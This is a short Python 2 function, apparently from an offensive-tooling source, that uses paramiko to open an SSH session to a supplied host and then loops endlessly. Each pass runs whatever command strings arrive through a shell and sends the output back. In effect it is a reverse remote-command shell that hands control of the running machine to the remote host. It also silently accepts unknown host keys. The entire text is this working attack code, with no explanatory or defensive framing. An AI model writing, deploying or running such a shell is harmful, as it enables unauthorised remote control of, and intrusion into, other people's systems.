def ssh_client(ip, port, user, passwd):

    client = paramiko.SSHClient()
    client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    client.connect(ip, port=port, username=user, password=passwd)
    ssh_session = client.get_transport().open_session()
    if ssh_session.active:
        print(ssh_session.recv(1024))
        while 1:
            command = ssh_session.recv(1024)
            try:
                cmd_output = subprocess.check_output(command, shell=True)
                ssh_session.send(cmd_output)
            except Exception, e:
                ssh_session.send(str(e))
        client.close()